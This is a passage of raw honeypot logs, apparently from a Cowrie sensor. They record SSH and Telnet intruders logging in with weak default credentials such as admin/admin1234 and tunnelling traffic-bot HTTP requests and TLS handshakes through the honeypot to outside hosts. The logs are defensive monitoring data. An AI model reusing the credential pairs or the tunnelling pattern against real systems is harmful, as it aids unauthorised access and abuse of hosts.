no-cache\\r\\n\\r\\n_=JH5NTXhGMWlNTEhDMlVsYQ%3D%3DSlog5g6TivVzaXvdVykXW4iCO6lJi47VmzT1wIZNxoZCl9EXSVTl7VVlodMunijKY41g%2BSmmrzTF5dZP9cgg%2B%2FzvdVmkzgo0goLC4RbR%2BsiZPNsJ8HcSjxQO9F0crXlwmFkEuiY5DWE2rAdi0HJ0DwbfL3Vz6SvBCaK0CdvsJeM9H9vfeiQwNyBQ9CiVj%2BBw%2BGOqUJjEp%2FRlNCq8nX%2BfXkqQiXQHjCv2bV1QDIDNLZWNxvfW4IOZK31XEXwY19%2BzSdRW%2FbYC13ZcCaFiS81clNDTkswrJ8sgMg3D3wVg%2BVr37mkcJoelc2IsLQ7XTwWVDM3kWyLj1a8ljDcscAE9MXgBzvB0aZGsqDgCwjT%2B0hamzq5q6XgGlvDCe%2FRJYTIa4fCwPCAEs%2BV2%2Fa1gZxaM5Wm%2B5KpKw4kTxAbetQS1OLQNMk60pFUs6JnVi9Wfqy6n4qJmO3EKSkasM0pxO3gAbRhrjYgQcnZqiS0tqAlyJuOnf7%2Flcq3%2FrL6fEe1KF1sezqJkGps0%2FkW0TejUnBxharuxhMoaCgmVUPcDYVQQLfAr%2FylGErcajqBIEBaFoBcfzGxBXmtjncTyNaZiPOXeLXtT%2FOCfvPnNnj2lFQuIN2ObRyOP7qW0pIHPY86aLyPFlxRpI80UfcjzaA%2BN24wlQJDW2Vyl2DbTSq1YMipfGMcgNaRhax7D5N2pE7b5kqAZ1yXH18L2ThuInRIbpnE%2Bmo9dteJ4PS6DX1i0pZjYwG5V81bpltH23hsQBVyNR4LZUgOzCGKNI2pJ7poFrarTv1AWvbOS5tzm%2FBJEpInfSDFwGCgxvmC%2F67xVAwZ1i1L8HIXagJ9%2F49ZLR2zm1fZuUJsFnfmVAN577S5wjTQj9ck3YiZ095m035j%2BO0NgwWOBhfGDEvNfDyJXmM%2BKcWRi2yvpq3cHGCc1ET07COqiNHC9%2BpJXUCloqGF%2Fmi2VP%2B3Z8Cz91S8dzukhexi057SpB91KrTcFrUg3dVoL5sHzCiTmjy0BuYo6j3zHaZrbgltf%2BDyRHv76VSjrwEibyD4Dc46wFc3vi1HYSsvZ0Fvr0HU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/13D15 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JH5NTXhGMWlNTEhDMlVsYQ%3D%3DSlog5g6TivVzaXvdVykXW4iCO6lJi47VmzT1wIZNxoZCl9EXSVTl7VVlodMunijKY41g%2BSmmrzTF5dZP9cgg%2B%2FzvdVmkzgo0goLC4RbR%2BsiZPNsJ8HcSjxQO9F0crXlwmFkEuiY5DWE2rAdi0HJ0DwbfL3Vz6SvBCaK0CdvsJeM9H9vfeiQwNyBQ9CiVj%2BBw%2BGOqUJjEp%2FRlNCq8nX%2BfXkqQiXQHjCv2bV1QDIDNLZWNxvfW4IOZK31XEXwY19%2BzSdRW%2FbYC13ZcCaFiS81clNDTkswrJ8sgMg3D3wVg%2BVr37mkcJoelc2IsLQ7XTwWVDM3kWyLj1a8ljDcscAE9MXgBzvB0aZGsqDgCwjT%2B0hamzq5q6XgGlvDCe%2FRJYTIa4fCwPCAEs%2BV2%2Fa1gZxaM5Wm%2B5KpKw4kTxAbetQS1OLQNMk60pFUs6JnVi9Wfqy6n4qJmO3EKSkasM0pxO3gAbRhrjYgQcnZqiS0tqAlyJuOnf7%2Flcq3%2FrL6fEe1KF1sezqJkGps0%2FkW0TejUnBxharuxhMoaCgmVUPcDYVQQLfAr%2FylGErcajqBIEBaFoBcfzGxBXmtjncTyNaZiPOXeLXtT%2FOCfvPnNnj2lFQuIN2ObRyOP7qW0pIHPY86aLyPFlxRpI80UfcjzaA%2BN24wlQJDW2Vyl2DbTSq1YMipfGMcgNaRhax7D5N2pE7b5kqAZ1yXH18L2ThuInRIbpnE%2Bmo9dteJ4PS6DX1i0pZjYwG5V81bpltH23hsQBVyNR4LZUgOzCGKNI2pJ7poFrarTv1AWvbOS5tzm%2FBJEpInfSDFwGCgxvmC%2F67xVAwZ1i1L8HIXagJ9%2F49ZLR2zm1fZuUJsFnfmVAN577S5wjTQj9ck3YiZ095m035j%2BO0NgwWOBhfGDEvNfDyJXmM%2BKcWRi2yvpq3cHGCc1ET07COqiNHC9%2BpJXUCloqGF%2Fmi2VP%2B3Z8Cz91S8dzukhexi057SpB91KrTcFrUg3dVoL5sHzCiTmjy0BuYo6j3zHaZrbgltf%2BDyRHv76VSjrwEibyD4Dc46wFc3vi1HYSsvZ0Fvr0HU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.289009Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.515122Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xb8\\xe5u\\xc5cM\\xf5\\xe8\\xc4\\x90]j\\xc9\\xbfU\\xb7(P\\xab9\\x12\\xf9V\\xe68C\\xcb\\xe2yQ+ \\xc8\\x89\\xf0<\\x89N\\xda\\xc1\\x82d:\\xe5\\xc9\\xbf#\\xaa\\xab/\\x88\\x0b\\xa7\\xd8\\xf8>9\\x91\\x96\\xd1\\x1e\\xbc@)\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 kST\\x99{\\x92\\x86V*\\x98m\\xa12\\x90\\xcd\\x95U7\\xc42\\x88\\xc6Qf\\xd3\\xec7\\x04.^[\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xb8\\xe5u\\xc5cM\\xf5\\xe8\\xc4\\x90]j\\xc9\\xbfU\\xb7(P\\xab9\\x12\\xf9V\\xe68C\\xcb\\xe2yQ+ \\xc8\\x89\\xf0<\\x89N\\xda\\xc1\\x82d:\\xe5\\xc9\\xbf#\\xaa\\xab/\\x88\\x0b\\xa7\\xd8\\xf8>9\\x91\\x96\\xd1\\x1e\\xbc@)\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 kST\\x99{\\x92\\x86V*\\x98m\\xa12\\x90\\xcd\\x95U7\\xc42\\x88\\xc6Qf\\xd3\\xec7\\x04.^[\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.519398Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:07.986216Z","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":58231,"dst_ip":"10.17.0.5","dst_port":22,"session":"4149606ea865","protocol":"ssh","message":"New connection: 113.164.152.20:58231 (10.17.0.5:22) [session: 4149606ea865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.034089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.040432Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.221573Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\x8c\\xe1EA\\xa6\\xc4j\\xe0Q\\xda\\xad\\xbdJMWNp\\xd6\\x9d\\x83<EJ\\x04\\xe1{\\x90\\x93\\x9aEU e\\xf4\\x99\\xa5\\x02\\x15\\x84\\xbf\\x0e\\x7f\\xfe\\x12\\xc2\\xcfI\\xd3G1\\x0e41^1-*\\x8c\\x93T\\x9b\\x97\\xab\\xda\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1\\x94\\t\\xe8j\\x1e\\xaf\\xf4\\xbdm\\xe5\\x162\\xbc.~\\xd5\\xd6]\\xec\\xb6\\x13x\\x19\\xb2n\\xd3~\\xc6\\xbbAY\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd\\x8c\\xe1EA\\xa6\\xc4j\\xe0Q\\xda\\xad\\xbdJMWNp\\xd6\\x9d\\x83<EJ\\x04\\xe1{\\x90\\x93\\x9aEU e\\xf4\\x99\\xa5\\x02\\x15\\x84\\xbf\\x0e\\x7f\\xfe\\x12\\xc2\\xcfI\\xd3G1\\x0e41^1-*\\x8c\\x93T\\x9b\\x97\\xab\\xda\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd1\\x94\\t\\xe8j\\x1e\\xaf\\xf4\\xbdm\\xe5\\x162\\xbc.~\\xd5\\xd6]\\xec\\xb6\\x13x\\x19\\xb2n\\xd3~\\xc6\\xbbAY\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.224753Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.349959Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:08.595927Z","src_ip":"123.27.168.40","session":"0e248fc677b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:09.508709Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.581547021865845,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:09.539050Z","src_ip":"94.23.66.112","session":"6dec06c70762","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12","message":"login attempt [admin/admin12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:09.827455Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:09.937453Z","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:10.071240Z","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:10.221991Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e15IOGx0WXFYKT94P357Zw%3D%3DnLbezA%2FeCB3MBYHrnNmOsuJVWRGzNJNLanhdSh2IwE2QJUs%2F72ZsbHZ5504O1KuwaHoOwEKOe4BQw%2FUmZYH5gS8JUXHcoI7Zh96XUTJWlkrOyIrNC8UQ6qA%2BWta41vUjO7jVNGCI0LFyB%2FEkl5R4Kbz6qoD1N7U%2FQXXSEWc6XyJexmdzaF2SUsWfslbnuSER3pgmuD5BeErq4EPUL%2FfumEOfH8u%2B7D36vRQD1jqa827xfVXI7fzrBAUa1UEuayk4WezyPeKEPyksjA%2Fu6gNv3IEI2Bkfz5IWs3tRr6ZVzJW7YXTFZMSQgXkG%2FrMf9D6w%2FEUB73VAl89Lw3ajx%2FsdnjcfKOYLYAdnoL9U8Pi6p5xQfUq9cp1UfEol2xkRkdDb7yksNJ5iP8AyEIKfjBKKf1Pn7PWq%2BT8z6i%2FVu2an1Cr9XmAPmEboWHqfaEnps83bgnhJ%2BAwjBHXoWwzEvNZTr1hbzSdSCJkjlnNkwXOEIsgGQPmhFAXbd8oB%2FDtvvcpJN2MDogzI4iYI8Q5xNRGw4sWdFJTHayy7S0Dgw00k2X%2BOrNP%2FcIp1Uy%2B8wsXyzhq96Sk%2BTt9RTsqMfIBZmLSRntmu1rLUEM3sWxaXTwu